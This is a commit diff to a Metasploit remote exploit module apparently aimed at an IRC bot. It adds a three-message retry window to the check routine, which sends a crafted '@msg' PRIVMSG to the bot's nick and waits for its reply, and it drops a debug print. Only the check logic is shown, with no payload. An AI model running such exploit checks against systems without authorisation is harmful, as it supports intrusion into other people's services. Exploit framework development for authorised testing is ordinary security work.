added a 3 message window for recieving the check response
parent
ce9f11aeb3
commit
6cf44d9c85
|
@ -71,8 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return Exploit::CheckCode::Unknown
|
return Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
confirm_string = rand_text_alpha(8)
|
confirm_string = rand_text_alpha(8)
|
||||||
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
|
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
|
||||||
print response
|
|
||||||
quit(sock)
|
quit(sock)
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
|
@ -83,15 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def send_msg(sock, data)
|
def send_msg(sock, data, startResponse = nil)
|
||||||
sock.put(data)
|
sock.put(data)
|
||||||
data = ""
|
data = ""
|
||||||
|
count = 3
|
||||||
|
begin
|
||||||
begin
|
begin
|
||||||
read_data = sock.get_once(-1, 1)
|
read_data = sock.get_once(-1, 1)
|
||||||
while not read_data.nil?
|
while not read_data.nil?
|
||||||
data << read_data
|
data << read_data
|
||||||
read_data = sock.get_once(-1, 1)
|
read_data = sock.get_once(-1, 1)
|
||||||
end
|
end
|
||||||
|
if startResponse != nil and data.start_with?(startResponse)
|
||||||
|
startResponse = nil
|
||||||
|
end
|
||||||
|
count -= 1
|
||||||
|
end while startResponse == nil and count != 0
|
||||||
rescue EOFError
|
rescue EOFError
|
||||||
end
|
end
|
||||||
data
|
data
|
||||||
|
|
Loading…
Reference in New Issue